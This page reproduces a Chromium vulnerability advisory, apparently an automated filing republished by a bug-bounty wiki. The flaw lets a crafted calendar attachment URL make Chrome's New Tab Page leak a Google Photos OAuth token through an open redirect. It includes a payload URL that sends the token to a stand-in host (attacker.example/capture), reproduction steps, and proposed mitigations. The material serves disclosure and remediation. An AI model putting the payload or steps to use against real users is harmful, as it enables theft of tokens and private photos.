Skip to content
Info disclosure Advisory Advanced CVE-2026-110916

Improper input validation in Desktop (CVE-2026-110916)

A logic flaw in the New Tab Page Calendar module and SanitizedImageSource allowed a crafted calendar attachment URL to fetch a Google Photos OAuth token and leak it via an open redirect. An attacker could gain read access to a victim's private photos.

Google Chrome

Originally disclosed on Chrome VRP

  • Fix shipped in 6 months

Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team.

Overview: A potential logic vulnerability exists where an attacker can craft a Google Calendar invite to leak a user's Google Photos OAuth token. The NTP Calendar module fails to validate attachment URL schemes, allowing a malicious chrome://image URL to trigger SanitizedImageSource. The latter fetches an OAuth token and follows cross-origin redirects without stripping the Authorization header, allowing token exfiltration.

Affected files:

  • chrome/browser/new_tab_page/modules/v2/calendar/google_calendar_page_handler.cc
  • chrome/browser/ui/webui/sanitized_image/sanitized_image_source.cc
  • ui/webui/resources/cr_elements/cr_auto_img/cr_auto_img.ts
  • google_apis/calendar/calendar_api_response_types.cc
  • chrome/browser/resources/new_tab_page/modules/calendar/calendar_event.html
  • chrome/browser/resources/new_tab_page/modules/calendar/calendar.ts

Estimated timestamp from git blame: 2024-06-07

Summary

A potential security vulnerability has been identified in the New Tab Page (NTP) Google Calendar module and the SanitizedImageSource WebUI data source. A remote attacker could exploit a lack of URL scheme validation and improper redirect handling to exfiltrate a victim's Google Photos OAuth token, granting the attacker read access to the victim's private photos.

This vulnerability affects managed profiles where the NTP Calendar module is enabled by default.

Vulnerability Details

The vulnerability arises from a chain of logic flaws across multiple components:

  1. Missing Scheme Validation: When the browser fetches calendar events from the Google Calendar API, google_apis/calendar/calendar_api_response_types.cc parses the iconLink field of attachments into a GURL. Because chrome is a registered scheme, GURL::is_valid() returns true for a chrome:// URL. The backend (google_calendar_page_handler.cc) maps this directly to the Mojo struct without enforcing a safe scheme (e.g., https://).
  2. cr-auto-img Bypass: The NTP frontend uses the <img is="cr-auto-img"> component (ui/webui/resources/cr_elements/cr_auto_img/cr_auto_img.ts) to render the attachment icon. If the provided URL protocol is chrome:, cr-auto-img bypasses its standard chrome://image wrapping for external URLs and assigns the URL directly to the img.src attribute.
  3. SanitizedImageSource Exploitation: An attacker can supply a crafted iconLink URL: chrome://image?url=https://www.google.com/url?q=https://attacker.example/capture&isGooglePhotos=true.
    • The SanitizedImageSource intercepts this request in the browser process.
    • It checks if the target URL host ends with .google.com (which www.google.com does) to authorize fetching a Google Photos OAuth token (photos.image.readonly scope).
    • The token is fetched silently for the primary managed account and added as an Authorization header to a network::SimpleURLLoader request.
  4. Header Leak on Redirect: SanitizedImageSource initiates the request to the Google open redirector (www.google.com/url). Crucially, it does not configure an on_redirect_callback_ on the SimpleURLLoader. Because the request mode defaults to kNoCors and no removal list is provided, the network service follows the 302 redirect to the attacker's domain (attacker.example) and leaks the Authorization: Bearer [TOKEN] header in the redirected request.

Potential Reproduction Steps

Note: These are suggested steps based on source code analysis; a working proof of concept has not been executed.

  1. An attacker creates a Google Calendar event using the API and adds an attachment with iconLink set to chrome://image?url=https%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fattacker.example%2Fcapture&isGooglePhotos=true.
  2. The attacker invites the victim (a user signed into Chrome with a managed profile).
  3. The victim opens a New Tab Page.
  4. The NTP fetches the events. The malicious event (even if pending/unaccepted) is prioritized and automatically expanded by computeExpandedEventIndex_ in calendar.ts.
  5. The malicious chrome:// URL is bound to the DOM, triggering SanitizedImageSource.
  6. The browser fetches the OAuth token, sends it to the Google redirector, and unconditionally follows the redirect to attacker.example, leaking the token.

Proposed Mitigation

  • Enforce Scheme Allowlist: Update GoogleCalendarPageHandler::OnRequestComplete (or the API response parser) to strictly allowlist schemes for icon_url and resource_url (e.g., only allowing https:// or http://).
  • Secure Redirect Handling: Update SanitizedImageSource::StartImageDownload to provide an on_redirect_callback_ to the SimpleURLLoader. The callback must explicitly add net::HttpRequestHeaders::kAuthorization to the removed_headers list to prevent cross-origin leakage.
  • Strengthen URL Validation: Consider updating IsGooglePhotosUrl to be more restrictive than just checking for a .google.com suffix, as this is easily bypassed using Google open redirectors.

Evaluated with Chrome root at commit: 096fc8fdbfacf2546485756d03f160a3d04fcc9b


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

The original report as published on the Chromium issue tracker. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the calendar attachment URL scheme was not validated, and the image fetcher followed cross-origin redirects without stripping the Authorization header.

Impact

An attacker could exfiltrate a victim's Google Photos OAuth token, granting read access to their private photos; this affects managed profiles where the NTP Calendar module is enabled by default.

What the attacker needed

Victim uses Chrome with a managed profile; NTP Calendar module enabled by default; attacker can create a calendar event and invite victim; victim opens a New Tab Page

The fix

The report proposes enforcing a scheme allowlist for attachment URLs and adding a redirect callback that removes the Authorization header on cross-origin redirects.

How it was found

  1. An attacker creates a Google Calendar event with a malicious attachment iconLink.
  2. The attacker invites the victim, who is signed into Chrome with a managed profile.
  3. The victim opens a New Tab Page.
  4. The NTP fetches events and automatically expands the malicious event.
  5. The malicious chrome:// URL is bound to the DOM, triggering SanitizedImageSource.
  6. The browser fetches the OAuth token, sends it to the Google redirector, and follows the redirect to the attacker's domain, leaking the token.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The browser's New Tab Page can show calendar events with icons. The code that loads these icons did not check what kind of link it was given, so a malicious calendar invite could make the browser fetch a secret access token and then send it to an attacker's website. This would let the attacker view the victim's private photos.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.